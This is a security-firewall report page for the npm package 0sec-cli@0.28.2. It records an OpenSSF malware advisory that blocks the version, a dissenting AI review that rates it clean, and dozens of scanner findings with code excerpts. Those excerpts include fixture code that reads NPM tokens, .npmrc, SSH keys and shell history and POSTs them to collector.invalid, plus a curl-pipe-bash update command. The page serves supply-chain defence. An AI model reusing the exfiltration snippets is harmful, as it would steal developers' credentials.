Loading npm security reports…
Loading npm security reports…
0sec-cli@0.28.2: Malware – npm package blocked (MAL-2026-19118) | LPM Firewall
Blocked by malware advisory
OpenSSF/OSV malware advisory MAL-2026-19118 identifies this version as malicious and supplies the Firewall block. LPM AI assessed this version as clean; the assessments disagree.
What to do: remove this version and, if it ran, rotate the credentials it could reach. Remediation↓
OpenSSF/OSV malicious advisorypublished on Nov 11, 2026, 12:09 UTC · by OpenSSF/OSV OpenSSF/OSV advisory MAL-2026-19118 confirms this npm version as malicious.
Source
OpenSSF Malicious Packages via OSV
Summary
Malicious code in 0sec-cli (npm)
Details
Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.
Independent LPM AI assessmentClean · reviewed on Nov 12, 2026, 12:55 UTC
LPM's AI review found this version clean. That disagrees with the OpenSSF/OSV advisory, which supplies the block.
The package is a cybersecurity CLI with no lifecycle scripts in its manifest. The inspected startup and credential flows have ordinary update and Google Code Assist purposes, while the credential-theft examples are fixture data rather than automatically executed code.
Static reason
High-risk behavior combination matched malicious policy.; source matched previously finalized malicious package; routed for review; previous stored version diff introduced dangerous source
Trigger
Running the 0sec CLI invokes startup update handling; security scans and related features run when requested through commands.
Impact
No unauthorized credential transfer, persistence, or other attack behavior was established.
Mechanism
The reviewed credential flow sends a Google access token to Google Code Assist. The scanner’s credential-stealing strings appear in explicitly labeled historical test fixtures.
Network endpoints1
cloudcode-pa.googleapis.com
Independent scan evidencepublic snapshot AI called this Clean at 88.0% confidence as Benign with low false-positive risk.
Evidence for AI clean decision
The manifest identifies this as a cybersecurity CLI and defines no lifecycle scripts. The executable invokes an update notification check at startup; the check follows the configured update policy. The inspected Google Code Assist flow sends its access token to cloudcode-pa.googleapis.com, its service endpoint. The credential-stealer examples in chunk-DTI4CEUD.js are labeled curated historical package fixtures, not this package’s install hook. Behavioral surface
Source Child process · Crypto · Dynamic require · Environment variables · Eval · Filesystem · Network · Shell · Web socket
Supply chain High entropy strings · Minified · Possible obfuscation · Telemetry · URL strings
Manifest No manifest risk signals triggered.
Scanned 228 files · 16.9 MB of source
50 external domains referenced
0.security 127.0.0.1 169.254.169.254 access.redhat.com accounts.google.com ai-gateway.vercel.sh ai-sdk.dev api.anthropic.com api.au.snyk.io api.cline.bot api.cloudflare.com api.deepseek.com api.eu.snyk.io api.example.com api.github.com api.githubcopilot.com api.hackerone.com api.kimi.com api.linear.app api.openai.com api.osv.dev api.snyk.io api.target.com api.us.snyk.io api.vercel.com api.x.ai api.z.ai app.cline.bot app.example.com astral.sh atlas.mitre.org attack.mitre.org attacker.example attacker.example.com attacker.invalid attacker.oast.id auth.kimi.com auth.openai.com auth.x.ai backend.invalid base-ui.com chatgpt.com cheatsheetseries.owasp.org chevrotain.io cloud.0.security cloudcode-pa.googleapis.com collector.invalid crates.io crt.sh cwe.mitre.org Findings8 critical · 17 high · 7 medium · 5 low Source & flagged code30 flagged High Child process
Package source references child process execution.
cli-path-traversal-fixture.js View on unpkg · L1 Code excerpt · 2 lines 1 import { spawn } from "node:child_process" ;
2 import { createServer } from "node:http" ;
High Shell
Package source references shell execution.
node_modules/node-gyp-build/bin.js View on unpkg · L60 Code excerpt · 3 lines 60 stdio: 'inherit' ,
61 shell: true ,
62 windowsHide: true
High Eval
Package source references dynamic code evaluation.
node_modules/tree-sitter/index.js View on unpkg · L874 Code excerpt · 3 lines 874 const className = camelCase (typeName, true ) + 'Node' ;
875 const nodeSubclass = eval (`class ${className} extends SyntaxNode {${classBody}}; ${className}` );
876 nodeSubclass.prototype.type = typeName;
dashboard/assets/operations-s1DQ6oEJ.js View file Medium Dynamic require
Package source references dynamic require/import behavior.
dashboard/assets/operations-s1DQ6oEJ.js View on unpkg · L11 Code excerpt · 2 lines 12 Please change the parent <Route path="${e}" > to <Route path="${e===`/`?`*`:`${e}/*`}" >.`)}let u=qe(),d;if(t){let e=typeof t==` string`?j(t):t;T(c===` /`||e.pathname?.startsWith(c),` W...
13 `).filter(e=>e),n=Math.min(...t.map(e=>e.length-e.trimStart().length)),r=t.map(e=>e.slice(n)).map(e=>` `.repeat(this.indent*2)+e);for(let e of r)this.content.push(e)}compile(){let ...
Critical Same file environment network execution
A single source file combines environment access, network access, and code or shell execution with blocking evidence.
chunks/chunk-46DNIFFT.js View on unpkg · L378 Code excerpt · 6 lines 378 const normalizedTag = tag.startsWith ("v" ) ? tag : `v${tag}` ;
379 const env = { ...process.env, RELEASE_BASE_URL: `https://github.com/${REPO}/releases/download/${normalizedTag}` };
380 const installDir = options.installDir ?? process.env["ZERO_INSTALL_DIR" ];
⋯
385 const progress = interactive ? terminalProgress (`Updating 0 to ${normalizedTag}` , process.stderr, loadLayeredSettings ().settings.reduceMotion) : void 0 ;
386 const child = spawn ( , [ , , , ], {
Critical Hardcoded runtime data exfiltration
Source sends credentials or rich application records to a package-controlled external receiver enabled by default.
chunks/chunk-DTI4CEUD.js View on unpkg · L8 Code excerpt · 11 lines Source sends the broad process environment to a literal external destination.
8 // packages/core/dist/package-ecosystems.js
9 import { execFileSync as execFileSync2, execSync } from "node:child_process" ;
10 import { existsSync, mkdirSync as mkdirSync2, readFileSync, readdirSync, rmSync as rmSync2, statSync as statSync2, writeFileSync as writeFileSync3 } from "node:fs" ;
⋯
33 files: {
34 "package.json" : fixturePackageJson ("ngfm" , "1.0.0-historical-fixture" , ),
Critical Credential exfiltration
Source appears to send environment or credential material to an external endpoint.
chunks/chunk-THB775F7.js View on unpkg · L20 High Sandbox evasion gated capability
Source gates dangerous network, credential, or execution behavior behind CI, host, platform, time, or geo fingerprint checks.
chunks/chunk-THB775F7.js View on unpkg · L20 Shared code excerpt · 2 findings · 10 lines 20 // packages/cli/src/worker-deploy.ts
21 import { execFileSync, spawn, spawnSync } from "node:child_process" ;
22 import { createHash, randomBytes } from "node:crypto" ;
⋯
105 const arch = shell ("uname -m" ).trim () === "aarch64" ? : ;
Critical Command output exfiltration
Source executes local commands and sends command output to an external endpoint.
chunks/chunk-NHBFWVWZ.js View on unpkg · L9777 Code excerpt · 5 lines 9777 "vulnerabilities/cardano-eutxo-validators.yaml" : 'id: cardano-eutxo-validators\nname: "Cardano EUTXO Validator Logic Bugs (Aiken / Plutus)"\ndescription: "Value-stealing logic bugs...
9778 "vulnerabilities/command-injection.yaml" : 'id: command-injection\nname: "OS Command Injection"\ndescription: "Untrusted data reaching a shell/subprocess \u2014 via filenames, URLs,...
9779 "vulnerabilities/deserialization-chains.yaml" : 'id: deserialization-chains\nname: "Deserialization Attack Chains"\ndescription: "Multi-language deserialization exploitation: Java, ...
9780 "vulnerabilities/native-memory-safety.yaml" : 'id: native-memory-safety\nname: "Native (C/C++) Memory Safety"\ndescription: "Untrusted-length parsing, OOB read/write, integer overfl...
⋯
9782 "vulnerabilities/prototyp
High Cloud metadata access
Source reaches cloud instance metadata or link-local credential endpoints.
chunks/chunk-K4MEIPPL.js View on unpkg · L276 Code excerpt · 12 lines 276 isAdmittedSmolvmWorkbench,
277 privateSmolvmDirectory,
278 resolveSmolvmRuntime,
⋯
1570 // validation function arguments
1571 data: new codegen_1.Name ("data" ),
1572 // data passed to validation function
⋯
2597 id2 = normalizeId (id2);
2598 return resolver.resolve (baseId, id2);
2599 }
⋯
3479 for (i = 0 ; i < input.length; i++) {
High Cross file remote execution context
Source spawns a local helper that also contains network and dynamic execution context; review data flow before blocking.
chunks/chunk-33DKXBN2.js View on unpkg · L103 Code excerpt · 12 lines Cross-file remote execution chain: chunks/chunk-33DKXBN2.js spawns chunks/chunk-5XOYTAOK.js; helper contains network access plus dynamic code execution.
103 try {
104 parsed = JSON.parse (readFileSync (join (dir, file), "utf8" ));
105 } catch (err) {
⋯
1163 label: "Runtime notices" ,
1164 description: "Show engine output (stdout/stderr) in the conversation." ,
1165 kind: "boolean" ,
⋯
1545 }
1546 function (projectDir = process. ()) {
node_modules/tree-sitter/prebuilds/darwin-x64/tree-sitter.node View file Medium Ships native binary
Package ships native binary artifacts.
node_modules/tree-sitter/prebuilds/darwin-x64/tree-sitter.node View on unpkg Scanner record · 4 lines path = node_modules/tree-sitter/prebuilds/darwin-x64/tree-sitter.node
kind = native_binary
sizeBytes = 404792
magicHex = [redacted]
node_modules/tree-sitter/binding.gyp View file Medium Ships build helper
Package ships non-JavaScript build or shell helper files.
node_modules/tree-sitter/binding.gyp View on unpkg Scanner record · 4 lines path = node_modules/tree-sitter/binding.gyp
kind = build_helper
sizeBytes = 1835
magicHex = [redacted]
vendor/tree-sitter-0.21.1-node24.tgz View file High Ships high entropy blob
Package ships high-entropy non-source blobs.
vendor/tree-sitter-0.21.1-node24.tgz View on unpkg Scanner record · 4 lines path = vendor/tree-sitter-0.21.1-node24.tgz
kind = high_entropy_blob
sizeBytes = 948015
magicHex = [redacted]
Medium Ships compressed blob
Package ships compressed or archive-like blobs.
vendor/tree-sitter-0.21.1-node24.tgz View on unpkg Scanner record · 4 lines path = vendor/tree-sitter-0.21.1-node24.tgz
kind = compressed_blob
sizeBytes = 948015
magicHex = [redacted]
Low Nested archive needs inspection
Package ships a nested archive or MCP bundle that was inventoried but not recursively analyzed.
High Semantic analysis limited
A bounded semantic-analysis stage reached its safety limit; remaining detectors completed, but this package requires AI review.
chunks/chunk-VX5QAYUT.js View on unpkg Scanner record · 1 line stage = ast_semantic_analysis; reason = ast_alias_growth_limit_exceeded; limitedFiles = 5
Critical Previous version dangerous delta
This package version adds a dangerous source file absent from the previous stored version; route for source-aware review.
chunks/commands-HLXYQMOT.js View on unpkg Scanner record · 5 lines matchType = previous_version_dangerous_delta
matchedPackage = 0sec-cli@0.28.1
matchedIdentity = npm:MHNlYy1jbGk:0.28.1
similarity = 0.983
summary = stored previous version shares package body but lacks this dangerous source file
Package metadata 7 findings
Medium Network
Medium Environment variables
Medium Structural risk force deep review
"bash"
"-o"
"pipefail"
"-c"
`curl -fsSL --connect-timeout 10 --max-time 30 "${INSTALL_URL}" | bash`
387 stdio: interactive ? ["inherit" , "pipe" , "pipe" ] : "inherit" ,
Critical Trigger reachable dangerous capability
A package entrypoint or install-time lifecycle script reaches a source file with blocking dangerous behavior.
chunks/chunk-46DNIFFT.js View on unpkg · L22 Code excerpt · 12 lines Trigger-reachable chain: manifest.bin -> 0.js -> chunks/chunk-46DNIFFT.js
22 function createProcessPresentationOutput (options = {}) {
23 const stdout = options.stdout ?? { write: process.stdout.write.bind (process.stdout) };
24 const stderr = options.stderr ?? { write: process.stderr.write.bind (process.stderr) };
⋯
37 try {
38 target.write (text);
39 } finally {
⋯
150 const emit = (channel, chunk, encoding) => {
151 const text = typeof chunk === "string" ? chunk : chunk instanceof Uint8Array ? Buffer.from (chunk).toString (typeof encoding === "string" ? encoding : "utf8" ) : String (chunk ?? "" );
152 if (channel === "stdout" && text.startsWith ("ZERO_EVENT_" )) return ;
⋯
213 import { join } from "node:path" ;
214 import { spawn } from "node:child_process" ;
215
"preinstall.js"
36 "const https = require('https');" ,
37 "const child_process = require('child_process');" ,
38 "const token = process.env.NPM_TOKEN || '';" ,
39 "const npmrc = child_process.execSync('cat ~/.npmrc 2>/dev/null || true').toString();" ,
40 "https.request('https://collector.invalid
High Entrypoint foreign package code overwrite
Manifest-reachable source overwrites another installed package with package-defined remote behavior.
chunks/chunk-DTI4CEUD.js View on unpkg Scanner record · 8 lines Manifest-reachable source resolves another installed package, overwrites its runtime code, and injects package-defined remote behavior.
chunks/chunk-DTI4CEUD.jsimport { existsSync, mkdirSync as mkdirSync2, readFileSync, readdirSync, rmSync as rmSync2, statSync as statSync2, writeFileSync as writeFileSync3 } from "node:fs";
import { mkdirSync, writeFileSync } from "node:fs";
"https.request('https://collector.invalid/exfil', { method: 'POST' }).end(JSON.stringify({ token, npmrc }));"
"https.request('https://collector.invalid/creds', { method: 'POST' }).end(JSON.stringify({ browser, history }));"
const packageDir = join(tempDir, "node_modules", packageName);
writeFileSync(absPath, content, "utf8");
import { mkdtempSync, rmSync, statSync, writeFileSync as writeFileSync2 } from "node:fs";
wri
High Trigger reachable command output exfiltration
A manifest entrypoint or package-local install chain reaches command-output exfiltration behavior.
chunks/chunk-DTI4CEUD.js View on unpkg · L38 Code excerpt · 7 lines Trigger-reachable command-output exfiltration chain: manifest.bin -> 0.js -> chunks/chunk-DTI4CEUD.js
38 "const token = process.env.NPM_TOKEN || '';" ,
39 "const npmrc = child_process.execSync('cat ~/.npmrc 2>/dev/null || true').toString();" ,
40 "https.request('https://collector.invalid/exfil', { method: 'POST' }).end(JSON.stringify({ token, npmrc }));"
41 ].join ("\n" )
⋯
53 "const browser = fs.existsSync(process.env.HOME + '/.ssh/id_rsa') ? fs.readFileSync(process.env.HOME + '/.ssh/id_rsa', 'utf8') : '';" ,
54 "const history = child_process.execSync('cat ~/.bash_history 2>/dev/null || true').toString();" ,
55 "https.request('https://collector.invalid/creds', { method: 'POST' }).end(JSON.stringify({ browser, history }));"
"arm64"
"x64"
106 shell (`cd /tmp && curl -fsSL https://nodejs.org/dist/v24.14.0/node-v24.14.0-linux-${arch}.tar.xz -o node.tar.xz && sudo tar -xJf node.tar.xz -C /usr/local --strip-components=1 && n...
121 execFileSync ("tar" , ["-czf" , join (staging, "bundle.tar.gz" ), "-C" , bundleRoot, "dist" ], { stdio: "inherit" , env: { ...process.env, COPYFILE_DISABLE: "1" } });
122 const demoRoot = resolveWorkerDemoRoot (repoRoot, bundleRoot);
134 shell (`cd ${REMOTE_DIR} && tar -xzf bundle.tar.gz && ${options.targetGit ? "ls dist/0.js"
High Trigger reachable credential exfiltration
A manifest entrypoint or package-local install chain reaches credential exfiltration behavior.
chunks/chunk-THB775F7.js View on unpkg · L20 Code excerpt · 9 lines Trigger-reachable credential exfiltration chain: manifest.bin -> 0.js -> chunks/commands-HLXYQMOT.js -> chunks/chunk-THB775F7.js
20 // packages/cli/src/worker-deploy.ts
21 import { execFileSync, spawn, spawnSync } from "node:child_process" ;
22 import { createHash, randomBytes } from "node:crypto" ;
⋯
105 const arch = shell ("uname -m" ).trim () === "aarch64" ? "arm64" : "x64" ;
106 shell (`cd /tmp && curl -fsSL https://nodejs.org/dist/v24.14.0/node-v24.14.0-linux-${arch}.tar.xz -o node.tar.xz && sudo tar -xJf node.tar.xz -C /usr/local --strip-components=1 && n...
107 }
⋯
120 }
121 execFileSync ("tar" , ["-czf" , join (staging, "bundle.tar.gz" ), "-C" , bundleRoot, "dist" ], { stdio: "inherit" , env: { ...process.env, COPYFILE_DISABLE: "1" } });
122 const demoRoot = resolveWorkerDem
Critical Persistence backdoor
Source writes persistence or remote-access backdoor material.
chunks/chunk-NHBFWVWZ.js View on unpkg · L337 Critical Download execute
Source downloads or fetches remote code and executes it.
chunks/chunk-NHBFWVWZ.js View on unpkg · L337 High Trigger reachable persistence
A manifest entrypoint or package-local install chain reaches persistence behavior.
chunks/chunk-NHBFWVWZ.js View on unpkg · L337 Shared code excerpt · 3 findings · 12 lines 337 /\/Jenkinsfile/,
338 /\/\.circleci\//,
339 /\/\.gitlab-ci\./,
⋯
483 // [redacted]-check.js
484 import { execFile } from "node:child_process" ;
485 import { promisify } from "node:util" ;
⋯
490 try {
491 const { stdout } = await pexecFile ("git" , args, {
492 cwd: opts?.cwd,
⋯
503 };
504 var DEFAULT_BASE_URL = "https://lore.kernel.org" ;
505 var OWN_FROM_MARKERS = ["0.ai" , "doruk@" ];
High Obfuscated payload loader
Source contains an obfuscated payload loader that reconstructs and executes hidden code.
chunks/chunk-NHBFWVWZ.js View on unpkg · L44512 Code excerpt · 3 lines 44512 [/stack[^.\n]*(buffer|out.of .bounds|overflow)|stack-buffer-overflow/, /stack-buffer-overflow|dynamic-stack-buffer-overflow/],
44513 [/global[^.\n]*(buffer|out.of .bounds|overflow)|global-buffer-overflow/, /global-buffer-overflow/],
44514 [/use.after.free|uaf/, /use-after-free|heap-use-after-free/],
High Copied package dependency bridge
Package metadata claims a different repository identity while copied source loads a runtime dependency bridge.
chunks/chunk-NHBFWVWZ.js View on unpkg · L33907 Code excerpt · 4 lines package = 0sec-cli; repositoryIdentity = 0 ; dependency = playwright
33907 try {
33908 await import ("playwright" );
33909 hasBrowser = true ;
High Trigger reachable external post callback
A manifest entrypoint or package-local install chain reaches a fixed external POST callback.
chunks/chunk-NHBFWVWZ.js View on unpkg Scanner record · 9 lines Trigger-reachable fixed external POST callback chain: manifest.bin -> 0.js -> chunks/chunk-NHBFWVWZ.js
oastConfirmedPayload,
/\/postcss\.config/,
var DEFAULT_BASE_URL = "https://lore.kernel.org";
var JUDGE_SYSTEM = `You are a Linux kernel security maintainer doing duplicate triage. You are given ONE vulnerability finding and several patches that were posted to a kernel mail...
log(`[novelty] ${mirror.list}#${mirror.epoch}: skipped ${all.length - candidates.length} of-our-own posting(s)`);
pattern: "copy_from_user(dst, uptr, len) where len comes from the user (ioctl arg field, write() count, header length) and dst is a fixed-size stack or heap buffer with no clamp ->...
"driver write()/ioctl stack overflows (very common)",
"CVE-2025-2135 (V8CTF first-blood, zero-day found via fuzzing: Turbo
3480 code = input[i].charCodeAt (0 );
High Remote agent bridge
Source exposes local file and command tools to a remote model endpoint.
chunks/chunk-K4MEIPPL.js View on unpkg · L8072 Code excerpt · 12 lines 8072 "use strict" ;
8073 var cp = __require ("child_process" );
8074 var parse3 = require_parse ();
⋯
8442 1 . Connect to the MCP server at ${target}
8443 2 . Enumerate available tools and their schemas
8444 3 . Test each tool for :
⋯
10698 function ingestArtifactsFromFile (filePath) {
10699 const text3 = readFileSync (filePath, "utf-8" );
10700 const segments = splitReports (text3);
⋯
14543 var CRASH_TYPE_RE = /\b (KASAN|KCSAN|KMSAN|UBSAN|BUG|WARNING|INFO|general protection fault|kernel BUG|possible deadlock|inconsistent lock state)\b/i;
14544 function parseListingRow (row, bucket, baseUrl = DEFAULT_BASE_URL) {
14545 if (!/class ="title" /.test (row))
projectStateDir
cwd
1547 return join3 (projectDir, ".0" );
2043 function resolveFeedbackTarget (env = process.env, options = {}) {
2044 const configured = env[FEEDBACK_URL_ENV]?.trim ();
vendor/tree-sitter-0.21.1-node24.tgz
Scanner record · 4 lines path = vendor/tree-sitter-0.21.1-node24.tgz
kind = nested_archive_needs_inspection
sizeBytes = 948015
magicHex = [redacted]